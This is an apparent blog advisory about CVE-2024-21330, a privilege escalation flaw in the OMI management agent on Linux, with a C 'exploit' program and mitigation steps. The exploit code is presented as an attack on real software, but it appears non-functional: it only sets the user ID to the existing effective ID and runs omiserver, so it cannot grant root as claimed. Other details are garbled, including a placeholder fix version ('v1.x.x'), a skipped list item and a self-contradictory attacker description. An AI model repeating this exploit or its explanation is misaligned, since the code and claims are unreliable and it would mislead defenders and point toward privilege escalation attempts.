The Open Management Infrastructure (OMI) serves as an open-source, cross-platform, and interoperable management solution for enterprise environments. As a cornerstone component in managing various Linux system environments, a potential vulnerability can cause major issues for professionals and organizations.

This post sheds light on CVE-2024-21330, an elevation of privilege vulnerability within OMI that affects various Linux platforms. We provide an in-depth analysis of the vulnerability, exploit details, code snippets, relevant links to original references, and recommendations to mitigate the risks associated with the issue.

CVE-2024-21330: Overview

The CVE-2024-21330 is an elevation of privilege vulnerability found within the OMI agent that allows an unauthenticated attacker with local access to exploit this vulnerability. If exploited successfully, it enables the attacker to elevate their privileges to admin/root level.

The vulnerability exists because of insufficient checks in the permissions of certain files and directories during the installation process. Essentially, incorrect handling of file permissions potentially allows the attacker to tamper with the files and perform various malicious activities.

Exploit Details

A successful exploit requires two main components – a vulnerable OMI installation and a local access to the system by an unprivileged user. The following code snippet demonstrates a simplistic exploit to elevate the user’s permissions.

/* Compile with: gcc -o omi_exploit omi_exploit.c -Wall */
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

#define PATH_TO_OMI_SCRIPT "/opt/omi/sbin/omiserver"

int main() {
        uid_t uid=getuid(), euid=geteuid();
        printf("Starting exploit for OMI vulnerability (CVE-2024-21330)\n");
        printf("Original UID: %d, EUID: %d\n", uid, euid);

        if (setresuid(euid, euid, euid)) {
                perror("setresuid error");
                exit(EXIT_FAILURE);
        }

        execl(PATH_TO_OMI_SCRIPT, "omiserver", NULL);
        perror("execl error");

        return EXIT_FAILURE;
}

This code changes the user's UID to match their EUID, which also matches the vulnerable script's owner. This simple elevation of privilege results in running the omiserver script with admin/root level permissions.

Mitigation Measures

To protect your systems from the risks associated with the CVE-2024-21330 vulnerability, follow these steps:

1. Update your OMI agent to the latest version. The issue is addressed in Open Management Infrastructure v1.x.x or later. Check the official GitHub repository for updates: https://github.com/microsoft/omi

Ensure that your Linux distribution is up-to-date with the latest security patches.

3. Verify the permissions of the files and directories of your OMI installation to minimize the risk of unauthorized access.

Conclusion

CVE-2024-21330 represents a critical elevation of privilege vulnerability within the OMI component on various Linux platforms. This post aimed to provide a detailed understanding of the vulnerability, exploit methods, and mitigation measures to ensure that your systems remain secure. By following the best practices and applying relevant patches, you will fortify the security of your Linux environment from elevation of privilege attacks leveraging the CVE-2024-21330 vulnerability.

Timeline

Published on: 03/12/2024 17:15:49 UTC
Last modified on: 03/12/2024 17:46:17 UTC